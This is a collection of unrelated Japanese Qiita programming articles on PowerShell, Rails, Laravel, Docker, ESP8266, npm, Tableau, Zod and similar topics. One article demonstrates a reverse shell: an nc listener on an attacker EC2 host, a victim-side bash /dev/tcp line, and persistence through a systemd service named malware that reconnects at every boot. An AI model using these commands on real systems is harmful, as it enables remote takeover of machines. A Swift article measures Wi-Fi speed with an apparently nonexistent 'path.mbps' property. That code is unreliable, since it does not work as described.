OmniAICreator/Qiita-1.07M huggingface dataset:
New-Item で新規フォルダ作成しようとした

# 背景

powershellで新規フォルダを作成しようとしました。
すると、、、

```
New-Item ./ -Type Directory
New-Item: An item with the specified name /Users/apple/powershell already exists.
```
エラー文を読むとフォルダが既にある、、、？

どうやら名前を指定していないのがまずいみたいです。

# 名前オプションをつけて解決
そこで名前を指定するオプション（-Name）を追加しました。

```
New-Item ./ -Name ssss -Type Directory

UnixMode   User             Group                 LastWriteTime           Size
--------   ----             -----                 -------------           ----
drwxr-xr-x xxxx             xxxxx              yyyy/mm/dd hh:mm             xx
```

成功です。「ssss」という名前の新規フォルダができました。
なおUnixModeの下の表記の意味は以下の通りです。

先頭の1桁：ファイルの種類（今回はDだからフォルダ・ディレクトリ）
2~4桁：所有者の権限
5~7桁：グループの権限
8~10桁：その他ユーザーの権限
Rpecの導入

Gemfileに以下のコードを追加する
```ruby:Gemfile
group :development, :test do
  # 〜 省略 〜
  gem 'rspec-rails' # この行を追加
  # 〜 省略 〜
end
```

bundleコマンドを実行してインストールする
```:ターミナル
$ bundle install
Fetching gem metadata from https://rubygems.org/.........
Resolving dependencies...
Using rake 13.0.6
Using concurrent-ruby 1.2.2
Using minitest 5.18.0
Using erubi 1.12.0
Using racc 1.6.2
Using websocket-extensions 0.1.5
Using date 3.3.3
Using nio4r 2.5.8
Using bindex 0.8.1
Using crass 1.0.6
Using bundler 2.3.26
Using rack 2.2.6.4
Using msgpack 1.6.1
Using mini_mime 1.1.2
Using ast 2.4.2
Using method_source 1.0.0
Using timeout 0.3.2
Using marcel 1.0.2
Using io-console 0.6.0
Using json 2.6.3
Using builder 3.2.4
Using mysql2 0.5.5
Using parallel 1.22.1
Fetching diff-lcs 1.5.0
Using thor 1.2.1
Fetching rspec-support 3.12.0
Using rainbow 3.1.1
Using regexp_parser 2.7.0
Using rexml 3.2.5
Using ruby-progressbar 1.13.0
Using zeitwerk 2.6.7
Using unicode-display_width 2.4.2
Using i18n 1.12.0
Using tzinfo 2.0.6
Using nokogiri 1.14.2 (x86_64-darwin)
Using sprockets 4.2.0
Using net-protocol 0.2.1
Using reline 0.3.2
Using activesupport 7.0.4.3
Using loofah 2.19.1
Using parser 3.2.1.1
Using rails-dom-testing 2.0.3
Using bootsnap 1.16.0
Using rack-test 2.1.0
Using websocket-driver 0.7.5
Using net-smtp 0.3.3
Using globalid 1.1.0
Using irb 1.6.3
Using rails-html-sanitizer 1.5.0
Using net-pop 0.1.2
Using puma 5.6.5
Using actionview 7.0.4.3
Using net-imap 0.3.4
Using rubocop-ast 1.28.0
Using jbuilder 2.11.5
Using activemodel 7.0.4.3
Using debug 1.7.1
Using actionpack 7.0.4.3
Using activerecord 7.0.4.3
Using mail 2.8.1
Using sprockets-rails 3.4.2
Using activejob 7.0.4.3
Using railties 7.0.4.3
Using actioncable 7.0.4.3
Using activestorage 7.0.4.3
Using rubocop 1.48.1
Using actionmailer 7.0.4.3
Using rubocop-rails 2.18.0
Using actiontext 7.0.4.3
Using actionmailbox 7.0.4.3
Using web-console 4.2.0
Using rails 7.0.4.3
Installing rspec-support 3.12.0
Installing diff-lcs 1.5.0
Fetching rspec-core 3.12.1
Fetching rspec-expectations 3.12.2
Fetching rspec-mocks 3.12.4
Installing rspec-mocks 3.12.4
Installing rspec-expectations 3.12.2
Installing rspec-core 3.12.1
Fetching rspec-rails 6.0.1
Installing rspec-rails 6.0.1
Bundle complete! 12 Gemfile dependencies, 76 gems now installed.
Use `bundle info [gemname]` to see where a bundled gem is installed.
```

Rspecの初期設定をする
```:ターミナル
$ bin/rails generate rspec:install
      create  .rspec
      create  spec
      create  spec/spec_helper.rb
      create  spec/rails_helper.rb
```

### 参考サイト
* [【Rails入門】RSpecを使ったテスト方法を初心者向けに基本から解説 | 侍エンジニアブログ](https://www.sejuku.net/blog/47847)
* [【Rails】RSpecの導入方法 - Qiita](https://qiita.com/hitochan/items/55f9941256c653cabb9f)
HTTP  postとgetの違い

HTMLでフォームを作成していたら、
methodの定義のところで、「postとgetって何が違うんだ？」となりました。

調べたところpostとgetの違いは、
<b>get</b>:「Webサーバに送る値をURLにくっつけて送るやり方。」
<b>post</b>:「Webサーバに送る値を見えないところにくっつけて送るやり方。」
です！

具体的には
<b>get</b>:特定のURLに遷移できるように設定したい時（これはform作成の時ってより、SpringbootなどのMVCモデルのフレームワークで設定する時）、検索機能などを実装するとき。
<b>post</b>:ログインフォームなどを実装する時。
です。

理由は
<b>検索機能</b>:検索機能は、裏側では（contoroller等）ユーザーが入力した値を引数としてとるようにメソッド定義を行います。そして、この値を使ってSQL検索を行います。そのため、検索結果をお気に入りに登録する、検索結果のURLをコピペして他の人に送る際には最初にユーザーが検索する際に入力した値がURLに添付されていないと同じ検索結果を再現できない。
<b>ログインフォーム</b>:ログインフォームは、ユーザーIDやパスワードなど機密性の高い情報を入力します。そのため、パスワードなどの機密性の高い入力値がURLに表示されてしまうgetは適しません。

参考：https://wa3.i-3-i.info/diff7method.html
WooCommerce の商品 ID からバリエーション ID を取得する

$product_id からその商品に登録しているバリエーションの情報が欲しいと思って、サクッと取れると思ったら、そういう関数が無いことに気がついてその取得方法を備忘録として書いております。

# まずは商品がバリエーションを持っているかの判別
商品にバリエーションがない場合は探す必要がないと思うので、まずはその判別の方法。
これは、簡単で商品オブジェクトの is_type 関数を使えばいいです。

```php
$product = wc_get_product( $product_id );
if( $product->is_type( 'variable' ) ){
...
}
```

# バリエーションを持っている商品 ID から get_posts で取得
WordPress のちょー基本的なやり方でしか抜き出せなさそうです。

```php
$args = array(
    'post_type'     => 'product_variation',// *1
    'post_status'   => array( 'private', 'publish' ),// *2
    'numberposts'   => -1,// *3
    'orderby'       => 'menu_order',// *4
    'order'         => 'asc',// *4
    'post_parent'   => $product_id
);
$variations = get_posts( $args );

foreach ( $variations as $variation ) {
    // get variation ID
    $variation_IDs[] = $variation->ID;
}
```
上記に記載の*を簡単に説明すると以下です。
### *1の説明
バリエーションとして登録されているカスタム投稿タイプが'product_variation'なので検索タイプの変数をこれにします。
### *2の説明
実際に使われているステータスを抜き出します。
### *3の説明
念のために取得する数の制限を無くす。
### *4の説明
取得の順番を指定されている通りにする。

これで、 $variation_IDs の配列にバリエーション ID 一覧が出来ます。
【Laravel/SQL】migrateを実行しようとしたらエラー

php artisan migrateを実行したら以下のエラーが表示されました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2784589/f3526174-f41f-62d3-fe5b-968706fa45b9.png)

# 原因

既に存在しているテーブルなので、エラーが出たようです。

# 解決方法

ロールバックで解決できました。

```
php artisan migrate:rollback
```

テーブルの中身クリア
```
php artisan migrate:fresh
```
Docker 内の poetry でインストールしたモジュールが ModuleNotFoundErrorとなったときの対応メモ

# 現象

dockerでpoetry install して環境構築し、コンテナ内で poetry shell で仮想環境を起動すると “**environment seems to be broken" と言われる。その後pythonを使用してもインストールしたモジュールが ModuleNotFoundError でインポートできない。**

## dockerfile
```dockerfile
FROM python:3.9.5-slim-buster

WORKDIR /app

RUN apt update && apt install -y \
    curl \
    libgl1-mesa-glx \
    libglib2.0-dev

ENV PYTHONDONTWRITEBYTECODE=1 \
    POETRY_VERSION=1.3.2 \
    PYTHONUNBUFFERED=1

ENV POETRY_HOME=/opt/poetry \
    POETRY_VIRTUALENVS_CREATE=true

ENV PATH=$POETRY_HOME/bin:$PATH

RUN curl -sSL https://install.python-poetry.org/ | python -

COPY ./myproj .
RUN poetry install
```

# 解決法

ローカルで作成した .venv を削除し、 dockerfile を再ビルドしたら動くようになった。

# 原因考察

ローカルのファイル変更内容をすぐに反映するために、Dockerにボリュームマウントをしていた。マウントしたフォルダの中にはローカルのpoetryで作成した.venv 環境フォルダがあった。poetry はデフォルトで .venv の環境を見に行くが、これはコンテナ外で生成されたもの。

そのため、**コンテナにボリュームマウントした際に、ローカルで作成した.venv 環境を Docker内で使用しようとしてエラーになった。 ようだ。。。**

# 反省

poetry 使うなら、コンテナの中で使うか、外で使うか、どっちかにする。
wslでelixir その21

# 概要
wsl(wsl2じゃない)で、elixirやってみた。
udp叩いてみた。
練習問題やってみた。

# 練習問題
udpでブロードキャストで、helloを送信して、返事を受け取る。

# 実行結果

```
iex(1)> {:ok, socket} = :gen_udp.open(0, [:binary, active: false, broadcast: true])
{:ok, #Port<0.9>}
iex(2)> :ok = :gen_udp.send(socket, '255.255.255.255', 49152, "hello1")
:ok
iex(3)> :gen_udp.recv(socket, 0)
{:ok, {{192, 168, 0, 102}, 49152, "hello1"}}

```

以上。
Rails7で{method: "post"} が GET で認識されるエラー

Rails7でデフォルトになったTurboが絡んだ原因であった。
`{method: "post"}`
ではなく
`data: { "turbo-method": :post }`
を使う。

>リンクのデフォルトのHTTPメソッドはGETだよ。これをGET以外（POST・PUT・PATCH・DELETE）のメソッドに変えるにはdata-turbo-method属性を使うよ。
[Turbo Drive｜猫でもわかるHotwire入門 Turbo編](https://zenn.dev/shita1112/books/cat-hotwire-turbo/viewer/turbo-drive#%E3%83%AA%E3%83%B3%E3%82%AF%E3%81%A7post%E3%83%BBput%E3%83%BBpatch%E3%83%BBdelete%E3%82%92%E4%BD%BF%E3%81%86)

before
```html
<%= link_to("削除", "/growth_diaries/#{@growth_diary.id}/destroy", {method: "post"}) %>
```

after
```html
<%= link_to("削除", "/growth_diaries/#{@growth_diary.id}/destroy", data: { "turbo-method": :post }) %>
```




#### 参考記事
* [【Rails7】link_toで作成したリンクのmethod: :postがGETになる問題](https://zenn.dev/tama8021/articles/22_1130_rails7_link_to_medthod_post)
wemosでalexaデバイス その6

# 概要
wemos d1で、alexaデバイスを作ってみる。
練習問題、やってみた。

# 練習問題
APを立てて、パソコンでWiFiに入って、ブラウザでssidとpassを入力して、ルーターに入って、
ブラウザでLチカする。

# 方針
AP(アクセスポイント)を、立てる。
DNSサーバー、立てる。
WEBサーバー、立てる。
- 手順
パソコンのWiFiでkoko testに、パスワード無しで、入る。
ブラウザで、www.test.comを開く。
Settingsをクリック。
ssidとpassを入力。
送信をクリック。
wemosは、ルーターに接続。


# サンプルコード

```
#include <ESP8266WiFi.h>
#include <DNSServer.h>
#include <ESP8266WebServer.h>

IPAddress apIP(192, 168, 1, 100);
ESP8266WebServer webServer(80);
const char * ap_ssid = "koko test";
DNSServer dnsServer;
const char * ssid = "****";
const char * password = "****";

void _top() {
	String html = "";
	html +="<html><body><h2>";
	html +="LED [<a href='/off'>ON</a>] [<a href='/on'>off</a>]";
	html +="<br><a  href='/Input'>Settings</a>";
	html +="</h2></body></html>";
	webServer.send(200, "text/html", html);
}

void _on() {
	digitalWrite(LED_BUILTIN, HIGH);
	webServer.sendHeader("Location", String("/"), true);
	webServer.send(302, "text/plain", "");
}
void _off() {
	digitalWrite(LED_BUILTIN, LOW);
	webServer.sendHeader("Location", String("/"), true);
	webServer.send(302, "text/plain", "");
}
void wifiInput() {
	String v1 = String((char *) ssid);
	String v2 = String((char *) password);
	String html = "";
	html += "<h1>WiFi Settings</h1>";
	html += "<form method='post' action='/Set'><br>";
	html += "ESSID<br><input type='text' name='essid' value='" + v1 + "'><br>";
	html += "KEY(pass)<br><input type='text' name='key' value='" + v2 + "'><br>";
	html += "<input type='submit'><br>";
	html += "</form>";
	webServer.send(200, "text/html", html);
}

void wifiSet() {
	String setSsid = webServer.arg("essid");
	String setKey = webServer.arg("key");
	String html = "";
	html += "<h2>WiFi Settings<br>";
	html += "ESSID: " + setSsid + "<br>";
	html += "key(pass): " + setKey + "<br>";
	html += "</h2>";
	webServer.send(200, "text/html", html);
	Serial.print("Connecting to ");
	Serial.println(setSsid);
	WiFi.begin(setSsid, setKey);
	while (WiFi.status() != WL_CONNECTED)
	{
		delay(500);
		Serial.print(".");
	}
	Serial.println("");
	Serial.println("WiFi connected");
	Serial.println("IP address: ");
	Serial.println(WiFi.localIP());
}
void setup() {
	pinMode(LED_BUILTIN, OUTPUT);
	Serial.begin(115200);
	delay(10);
	Serial.print("ok");
	Serial.print("start ap");
	WiFi.mode(WIFI_AP);
	WiFi.softAP(ap_ssid);
	delay(200);
	WiFi.softAPConfig(apIP, apIP, IPAddress(255, 255, 255, 0));
	dnsServer.setErrorReplyCode(DNSReplyCode::NoError);
	dnsServer.start(53, "*", apIP);
	webServer.on("/", _top);
	webServer.on("/on", HTTP_GET, _on);
	webServer.on("/off", HTTP_GET, _off);
	webServer.on("/Input", wifiInput);
	webServer.on("/Set", wifiSet);
	webServer.onNotFound(_top);
	webServer.begin();
}
void loop() {
	dnsServer.processNextRequest();
	webServer.handleClient();
}





```


以上。
32x32ドット4桁表示装置-仕様4(Arduino UNO)(SSD1306(128x32))


フォント仕様2

(5),(6),(7),(8),(9)の文字
全体的に大きく
曲線部は、出来るだけ真円
シンメトリ


![o_cop426.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/840352/7e61b511-8721-b549-1000-142606c3f232.jpeg)


![o_cop427.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/840352/c09b3b15-879c-09b4-2bc1-79fddce45a3e.jpeg)
32x32ドット4桁表示装置-仕様3(Arduino UNO)(SSD1306(128x32))


フォント仕様1

(0),(1),(2),(3),(4)の文字
全体的に大きく
曲線部は、出来るだけ真円
シンメトリ

![o_cop424.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/840352/24fce5d6-d40d-ca5d-2a21-522f95dfeb9a.jpeg)


![o_cop425.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/840352/f2ec9b33-eac7-f4ef-6944-611abcac8e64.jpeg)
IPアドレスを取得するnpmコマンドを作る（npm linkで自分用npmパッケージを使う）

## 対象
- ワンライナーでIPアドレスを取得したい人
- 自分専用npmパッケージを作ってみたい人

## 手順
1. 任意の場所に`myip`フォルダを作る
1. その中で`npm init -y`して`package.json`を作る
1. `package.json`に以下の項目を追加する
   ```json:./package.json
   "bin": {
       "myip": "index.js"
   }
   ```
1. `./index.js`を作り以下を書き込む
    ```javascript:./index.js
    #!/usr/bin/env node
    console.log(Object.entries(require('os').networkInterfaces())
        .map(([_, nics]) => nics).flat()
        .filter(nic => !nic?.internal && nic?.family === 'IPv4')
        .map(nic => nic?.address ?? '')
        .filter(ip => !ip.startsWith('169.254.'))
        .slice(0, 1).join(''));
    ```
1. `npm link`を実行する
1. `myip`をコマンドのように実行すると、ipが表示されます:laughing:

## 解説

### `npm link`コマンド

- グローバルの`node_modules`フォルダの中へ、作成中の
npmパッケージフォルダへのシンボリックリンクが作成されるなど、
グローバルインストール（`npm -g i`）するのと同じ効果が得られます。

- また、他のパッケージで`npm link linkしたパッケージ`を実行すると、
ローカルインストールするのと同じ効果が得られます。

- 本来は主に作成中の動作確認が目的ですが、今回はこの仕組みを利用します。

### `package.json`の`bin`セクション

- npmパッケージインストールの際に`package.json`の
`bin`セクションでコマンド名とファイルの紐付けがあると、
`/node_modules/.bin`フォルダにコマンド名で
ファイルへのシンボリックリンクが作成されます。

- グローバルインストール（`npm -g i`）の場合には、
（カレントバージョンの）Node.jsの`bin`フォルダになります。

- `npm link`でも同じようになるため、`bin`フォルダに
パスが通っていれば、コマンドとして実行可能になります。

### `#!/usr/bin/env node`

- このshebangにより、実行された`.js`ファイルが
nodeのプロセスを起動してjavascriptを実行できます。

- つまりこのshebangを変えればいろいろ対応可能です。

### `require('os').networkInterfaces()`

- Node.js標準モジュールである`os`のメソッドを使用して
NIC(Network Interface Card)の情報を取得しています。

## 終わりに

タイトルのかっこ内が主題になってしまいましたが、
npmパッケージへの興味が深まればうれしいです。
リバースシェル秒で体験

## 準備
攻撃側の仮想マシンでncコマンドが必要
EC2作成する
sgとして8000番ポート開ける（この番号である必要はない攻撃用のポートが空いてればいい）

## 実施
#### 攻撃者側（EC2）

```
#指定したポート番号で待ち受け状態
nc -vnlp 8000
```
- オプション説明
v 詳細な出力
l リスニング
n 名前解決無効
p ポート

#### 被害者側（ローカル）
```
#シェルの入力と出力をリモートサーバーへのTCP接続にリダイレクトする
bash -i >& /dev/tcp/<EC2のIP>/8000 0>&1
```
- bash: 新しいBashシェルを起動する
- i：シェルを対話型にし、ユーザーがコマンドを入力できるようにする。
- \>&：標準出力（stdout）と標準エラー（stderr）の両方を指定された場所にリダイレクトする。
- /dev/tcp/<ec2のip>/8000: stdoutとstderrをリダイレクトする場所を指定する。この場合、8000番ポートのIPアドレス<ec2ip>のリモートサーバへのTCP接続にリダイレクトされます。
- 0>&1：標準入力（stdin）をstdoutとstderrと同じ場所にリダイレクトし、ユーザーが同じTCP接続を通じてコマンドを入力できるようにします。

するとEC2側からローカルの情報が見放題・・・おそろしや


## 発展
### 本攻撃の対処
被害者側で接続を切ろうとしても既にリモートホスト（攻撃者側）に接続されているためリモートホスト側でプロセスを終了する必要があるはず
だから被害者側の対処としてはシェルそのものを終了させればいい、GUIならバツボタン

### 攻撃者の発展
相手の環境にファイルを作ることも可能なのでサービスとして下記シェルスクリプトを実行するものを作り自動起動にすればシェルが起動するたびに攻撃者にソケットを接続しに来る
①シェルスクリプト作成
vi /etc/malware.sh

```
#!/bin/bash
bash -i >& /dev/tcp/3<ec2のip>/8000 0>&1
```


②サービスファイル作成
vi /etc/systemd/system/malware.service
```
[Unit]
Description=malware

[Service]
ExecStart=/bin/bash /etc/malware.sh 
Restart=always
RestartSec=3

[Install]
WantedBy=multi-user.target
```

③あとは自動起動すれば攻撃準備OK
```
systemctl enable malware
```
こうすれば次回以降起動するたびに攻撃者のEC2に接続してくるようになる
ちなみにこれは接続しに行く動きなのでインバウンドのSGは機能しない

https://tech.kusuwada.com/entry/2019/10/30/044325
配列内の値が同一だった場合の判定プログラム

## 背景
よくあるゲームのパーティ構成で同じキャラクターを選べない場合があると思います。
その際に考えることになったためです。

## 記事を記載した目的
ただの記録です。


## やりたいこと
パーティという配列内のキャラクターが同一だった場合の判定プログラム


## 実際のコード

```
<?php


$party = array(  
  0 => "1",
  1 => "1",
  2 => "1",
  3 => "1",
  4 => "1",
  5 => "1",
  );
  
  $result =array_unique($party);
  $duplicatedCharacters = count($party) - count($result);
  
  if ($duplicatedCharacters < 1) {
        echo "重複していません";
    }else{
        echo"重複しています。";
    }

?>

```

## 主な関数

配列内の値が同一だった場合は、ture 同一でない場合は、falseの関数がないらしい（記事作成時点）
あったら教えてください。有識者さん

array_unique — 配列から重複した値を削除する
重複していた場合は、
```
$input =  = array(  
  0 => "1",
  1 => "1",
  2 => "1",
  3 => "2",
  4 => "1",
  5 => "1",
  );
```

```
Array
(
    [0] => 1
    [3] => 2
)


```

このように返ってくる。

$inputの配列の数から$outputの配列の数を引いてその差が1未満だった場合は、重複していません。
そうではない場合は、重複しています。
AbortControllerを使わないで遅い非同期処理のキャンセルをする方法

## はじめに
サードパーティライブラリのPromiseな関数をタイムアウトさせたい場面があり、
AbortControllerを使わずPromise.race()でシンプルに実装してみました。

## Promise.race()とは？
> Promise.race() は静的メソッドで、入力としてプロミスの反復可能オブジェクトを受け取り、単一の Promise を返します。この返されたプロミスは、最初に決定したプロミスの最終的な状態で決定されます。<br>
引用元 : [MDN - Promise.race()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/race)

簡単に言えば、複数のPromiseを競わせて一番非同期処理が早い結果を返して、残りの遅い処理はキャンセルするという事になります。

:::note warn
一番に非同期処理が終わったら`reject`されている場合も返却される点に注意が必要です。
:::

## 実装例
`libFunction`の非同期処理が2秒以上かかる場合は、`timeoutPromise`の結果が返される事で、
実質的にlibFunctionをキャンセルしています。

※ 今回はPromiseの返却値の型をstringにしていますが、それぞれ返却値に応じた型を指定すれば大丈夫です。
```typescript
import libFunction from 'FOO PATH' // 非同期なライブラリ関数をインポート

async function doTask(){
  const TIMEOUT = 2000 // タイムアウト時間 (Milliseconds)
  
  // ライブラリのPromise関数をラップ
  const wrappedLibFunction = new Promise<string>(resolve =>
    libFunction().then((text) => {
       resolve(text) // ライブラリのPromise関数の結果をresolveします。
    })
  )

  // キャンセルに使うPromise処理
  const timeoutPromise = new Promise<string>(resolve =>
    setTimeout(() => resolve('2秒後に返すtimeoutの内容'), TIMEOUT),
  )

  // 完了が早い方のPromise関数が返り値になります。
  const result = await Promise.race([wrappedLibFunction, timeoutPromise])
  return result
}
```

## まとめ
AbortControllerを使わないで遅い非同期処理のキャンセルをPromise.race()で実装しました。

AbortControllerの方が細かい設定等が可能ですが、コードも複雑になりがちなので、
重要度が低めの非同期処理のキャンセルはPromise.race()で実装しても良いかもしれません。

## 参考文献
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/race

https://qiita.com/suin/items/732348ccb0eeea4dcc8a
flutterfireがcommand not foundになる対処法

### 概要
FlutterでFirebaseを使う時にflutterfire-cliをインストールし`firebase_options.dart`を追加する必要がある。
flutterfire_cliをインストールするには以下を実行する。
```
dart pub global activate flutterfire_cli
```
その後`firebase_options.dart`を追加するために`flutterfire configure`を実行する。
しかし、pathを通していないとcommand not foundのエラーが出力される。

## 解決法
上記の`dart pub global activate flutterfire_cli`時に出力されていたwarnnigを確認する。
```
Warning: Pub installs executables into $HOME/.pub-cache/bin, which is not on your path.
You can fix that by adding this to your shell's config file (.bashrc, .bash_profile, etc.):
  export PATH="$PATH":"$HOME/.pub-cache/bin"
Activated flutterfire_cli 0.2.1+1.
```
それぞれのshellにあった設定ファイルにpathを追加する。
ex) bashの場合`.bashrc`, zshの場合`.zshrc`

pathの通し方はwarrningにあるように`export PATH="$PATH":"$HOME/.pub-cache/bin"`を追加する。
Swiftでログインなどの処理時間を計測する方法

## 背景
ログイン処理時間を計測したい場合などに利用します。
デバッグ用にぼちぼちログ吐くようにしておきたいけど、見通しが悪くなるのはどうしたものかとお悩み中です。

## 処理
Date()を使用します。
開始時刻と終了時刻をDate型で取得し、[timeIntervalSince](https://developer.apple.com/documentation/foundation/date/1779636-timeintervalsince)で差分を計算します。

```
// ----- ログイン開始 -----
// ログイン処理時間を計測
let startTime = Date() // 開始時間を取得

// ログイン処理
...省略

let endTime = Date() // 終了時間を取得
let duration = endTime.timeIntervalSince(startTime) // 差分を計算
print("処理時間: \(duration)秒")
// ----- ログイン終了 -----
```

## ログのサンプル
```
----- ログイン開始 -----
Request result : ~省略~
[ログイン成功]
処理時間: 0.6420940160751343秒
----- ログイン終了 -----
```
【Sass/SCSS】Laravel/Vue環境で実行しようとしたらエラー

下記のようなエラーが発生
```
[plugin:vite:css] Preprocessor dependency “sass” not found. Did you install it?
```

参考記事

https://kokichiblog.com/it/1099/

下記のコマンドのみで解決しました。
```
npm install --save-dev sass
```
【環境構築】Sass/SCSS + Laravel Breeze/Vue.js

こちらで構築した環境にSassを追加します。

https://qiita.com/LB16B/items/53bd6ceed1a3bdce318f

参考記事

https://miya-system-works.com/blog/detail/112

https://note.com/yoko_0413/n/na2e1a7a0905f

# Rubyのインストール

Windowsの場合、Rubyをインストールする必要があります。
下記よりインストールしてください。

https://rubyinstaller.org/

# Sassのインストール

インストールコマンド

```
gem install sass
```

バージョン確認
```
sass -v
```
バージョンが表示されればOKです。

# vue.config.js

公式

https://cli.vuejs.org/guide/css.html#passing-options-to-pre-processor-loaders

プロジェクトのルートディレクトリ直下にvue.config.jsを作成し、追記。

```js:vue.config.js
const { defineConfig } = require('@vue/cli-service')
module.exports = defineConfig({
  transpileDependencies: true,
  css: {
    loaderOptions: {
      scss: {
        additionalData: '@import "@/assets/scss/variables.scss";'
      }
    }
  }
})
```

# scss/vueファイル作成

任意のscss/vueファイルを作成、記述。

vueファイルに直接scssを記述す場合はlangで指定します。
```vuejs:test.vue
</template>
<style scoped lang="scss">

</style>
```

# コンパイル

scssファイルのあるディレクトリまで移動してコマンドを実行します。

実行コマンド
```
sass test.scss:test.css
```

下記のようなファイルとディレクトリが自動生成されていれば完了です。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2784589/07fef999-8d83-26d4-07d5-12e2d4d805c8.png)

# resources/js/app.js

参考記事

https://zenn.dev/itouuuuuuuuu/articles/284c8420d835ed

生成したcssファイルをグローバルに使えるようにします。
下記を追記

```
import '生成したcssファイル';
```

これで完了です。
[Python] yapf 0.32.0 で match 文が使えない

# 結論

題名の通りであまり書くことが無いのですが、yapfの0.32.0では、match文が含まれているファイルを渡すと例外が出てしまい整形されません。
VS codeから呼び出していたために何が原因か分かりませんでしたのでメモとして残しておきます。
issueが上がっているので直るのかもしれません。
blackは、対応しているようです。

# 環境 

```terminal:console
Python 3.11.0 (main, Oct 24 2022, 18:26:48) [MSC v.1933 64 bit (AMD64)]
yapf 0.32.0
```
Tableau ライブ接続 vs 抽出接続

# ライブ接続と抽出接続
- ライブ接続
    - 参照元データに都度アクセスする。リアルタイムのデータを表示
    - パフォーマンスは、計算処理を行うデータサーバーの処理速度に依存
- 抽出接続
    - データを圧縮して抽出。ある瞬間のデータのスナップショット
    - 抽出したファイルは、そのコンピューターのメモリに読み込まれる

# ライブ接続と抽出接続の選択基準
## パフォーマンス
- 多くの場合、パフォーマンスは抽出接続のほうが優れている
- 参照元データサーバーの処理速度が極めて良い場合は、ライブ接続のほうが適している
- 抽出接続は分析に必要なデータだけを抽出するなど、データ量を減らす工夫ができることでも速さに貢献できる
## データベースへの負荷
- 抽出接続であれば抽出するタイミングしか負荷がかからない
- ライブ接続は、アクセスや操作するたびにデータベースにクエリが投げられるので、負荷がかかる
## リアルタイムデータの要否
- 抽出は15分間隔など頻繁に更新する設定にできるが、コンピューターに負荷がかかる場合あり
- 頻繁なデータ更新を求める場合は、ライブ接続にしたほうが賢明
Tableau 基礎知識

# はじめに
この記事ではTableauの基礎知識をリストアップする
（個人的に気になった点を列挙したものであり、網羅的・構造的ではない）

# Tableau基礎知識
## パラメーター
- パラメーターは、数字や文字列を外から変数として与えることができる機能
- パラメーターを使うと、本来は定数値である部分を、動的に切り替えることが可能
- 代表的な利用シーン
    - メジャーの切り替え
    - ディメンションの切り替え
    - 上位Nフィルタの切り替え
    - リファレンスラインの切り替え
## ブール値
- 真（True）と偽（False）の2種類の値だけを取りうるデータ型
- 条件式や論理演算の結果を表す
- Tableauのパフォーマンス（速い順）
    - ブール値 > 整数 > 浮動小数点 > 日付 > 日付と時刻 > 文字列
## CountとCountd
- Count：行数をカウント
- Countd：重複を排除して行数をカウント
## Viz（ビズ）
- Tableauで作成したビジュアライズされたグラフや表のこと
## ダッシュボード
- 複数のビューの集合体。ワークシートを組み合わせることで作成する
## ダッシュボードの種別
- 説明型
    - ある特定のメッセージを伝えることを目的とするダッシュボード
    - 閲覧者の操作性が少ない
    - 作成者の意図を瞬時に伝えることができるダッシュボード
    - 意見が明確
- 探索型
    - 閲覧者が情報を深掘りすることができるダッシュボード
    - 閲覧者がドリルダウンで分析することが前提
    - 中立的
## ダッシュボードアクションの種類
- フィルターアクション
    - ビューに何らかの操作を行うことで、他のビューにフィルターをかける機能
- ハイライトアクション
    - 選択した部分をハイライトさせ、それ以外の部分を薄いグレーで表示するもの
- URLアクション
    - ダッシュボード上のマークに連動したWebページを表示
- シートに移動
    - ビューを操作して、他のシート・ダッシュボード・ストーリーに移動
SwiftでWi-Fiの速度を計測する

Wi-Fiの速度を計測するためには、iOSアプリ開発においてはNetwork.frameworkを使用することができます。以下は、Network.frameworkを使用して、現在のWi-Fi接続のダウンロード速度を計測する例です。

```swift
import Network

func measureWiFiSpeed() {
    let monitor = NWPathMonitor()
    let queue = DispatchQueue(label: "Monitor")
    
    monitor.start(queue: queue)
    
    monitor.pathUpdateHandler = { path in
        if path.usesInterfaceType(.wifi) {
            let speed = path.mbps
            print("Current Wi-Fi download speed: \(speed) Mbps")
        }
    }
}

```

上記の例では、NWPathMonitorを使用して、Wi-Fi接続の速度を計測しています。NWPathMonitorは、iOS 12以降で利用可能なネットワークモニタリングクラスであり、start()メソッドを呼び出すことで、現在のネットワークパスの変更を監視することができます。

pathUpdateHandlerクロージャーには、パスの状態が変更された際に実行される処理を定義します。usesInterfaceType(.wifi)を使用して、現在のパスがWi-Fi接続であるかどうかを確認し、.mbpsを使用して、現在のダウンロード速度をMbps単位で取得しています。

ただし、Wi-Fiの速度を正確に計測するためには、多数のテストを実行して平均値を取るなど、より高度な方法を検討する必要があります。また、計測結果には様々な要因によってばらつきが生じるため、単一の計測結果に過度に依存しないよう注意する必要があります。
PrismaのEnumをZodのスキーマとして使う方法

## はじめに
ZodでPrismaのEnumをスキーマとして利用しようとした際にz.enum()では出来なかったので、
少し調べてみました。

## TL;DR
ZodのnativeEnumメソッドを使ってPrisma等のサードパーティーEnumをSchemaとして利用することができます。

## PrismaのSchemaに任意のEnumを追加
prisma.schemaファイル上で任意のenumを以下のように定義します。
```ts
// prisma.schema
...

// Prismaのenum定義
enum Bar {
// 任意の値、この場合はいずれかの文字列のみ
  ENUMA
  ENUMB
}
```

## ZodのSchemaファイルを作成
次に、以下のようにZodのSchemaファイルを作成します。
```ts
import { z } from 'zod'
import { Bar } from '@prisma/client' // Prisma clientからenumが型付きでインポートできる。

// z.nativeEnumを用いるとPrisma等のEnumを渡す事が出来ます。
export const FooEnumSchema = z.nativeEnum(Bar)

// 型生成
export type FooEnum = z.infer<typeof FooEnumSchema>

// 使用例
const FooSchema = z.object({
	fooText: z.string(),
	fooKey: FooEnumSchema // ここでPrismaのEnumをSchemaとして利用しています。
})
```

## まとめ
以上、PrismaのEnumをZodのスキーマとして使う方法でした。

※ 今思えば、公式ドキュメントには普通に書いてあったので一次情報をすぐに見に行くべきでした。(反省)

## 参考文献
https://zod.dev/?id=native-enums
Tableau製品まとめ2023

# Tableauの魅力
- Tableauは、誰もがデータと対話できるように設計されたBI（Business Intelligence）ツール。
- ドラッグ＆ドロップを中心とした直感的な操作で、データと向き合うことができる
